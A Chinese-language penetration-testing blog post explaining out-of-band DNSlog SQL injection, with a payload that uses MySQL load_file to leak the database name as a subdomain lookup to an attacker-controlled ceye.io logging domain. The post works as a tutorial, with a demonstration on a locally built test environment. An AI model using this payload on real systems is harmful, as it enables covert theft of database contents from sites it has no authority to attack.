利用DNSlog实现无回显的SQL注入

作者: secflag 分类: 渗透测试 发布时间: 2019-07-05 10:20

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,

但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下

DNS注入的原理?

域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小。

使用条件:

1. 有sql注入点

2. 该站点的load_file可以使用

演示:

本地搭建phpstudy环境

然后注册一个ceye.io的账号,作为dns注入的平台,http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来

这是一个域名:

分析一下:

Ceye.io 就不用说了,

前面的   xxxx.ceye.io是你的个人域名

Dns注入最后的效果呢就是在xxxx.ceye.io前面显示你注入的结果。例如:

你得到的数据库是test

那么效果则是:test.xxxx.ceye.io

好的,废话不多说,实例演示

使用到的语句呢就是下面这条:

and if((select load_file(concat('\\\\',(select database()),'.eq6w9l.ceye.io\\abc'))),1,0)

 

分析一下:

And 就不多说了,连接前后语句嘛!

If(1,2,3)这个函数,里面是三个条件,如果1这个位置是true那么执行2位置语句,否则执行3位置语句。

我们都知道,load_file是可以读取文件的,那么,我们把这个文件换成可执行的语句呢?

再说一个小知识点,\\xxxxx.xxxxxx

如果说我们在下图位置写这个东西呢,就会执行这个后面的域名吧!

同理,你在load_file中写这个也是会执行的,所以就利用这个特点进行的dns注入。

'\\\\',(select database()),'.eq6w9l.ceye.io\\abc'

首先前面的\\\\实际上是两个\其中两个是作为转义符号来的,然后(select database())是真正的执行语句,然后后面拼接上你的域名,最后面加的\\abc,实例发现,后面不加\\abc或者\\其他字符是无法进行dns注入的,必须加上\\abc或者\\aaa等等都可以,但是记住一定要加。

Ok,payload已经写好了,就执行吧!

效果

那么究竟对不对呢?

我们联合注入看一下:

Dns注入呢到这里基本已经算是ok了!

其他的语句也同样一样!

参考资料

https://www.cnblogs.com/afanti/p/8047530.html

https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247484909&idx=1&sn=d872b9cb46b98c3f52fd6f345c73120f&chksm=fc3fbceccb4835fa1c15f89ac2b59658559d5b70b92217dba0cccf3125472b858004321d4731&scene=0&xtrack=1&key=fc6f3f9bd29cbf82416ceb57a4e414d8612ba6443096b47e3bbc762f31a1955e09cd5e650bb2bad4b144489b9784ba6622cb20695b66c976def2f53ab4e8a78462ea74f6889238d000aa05e2ca16cd21&ascene=1&uin=MjM2MDY2NDU4MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=gs2GsNYX7cJ%2FWU32SjYmr1wAs%2BibI2XItbHoL7REqloRLTgqovyc8DJMqq11IqZ6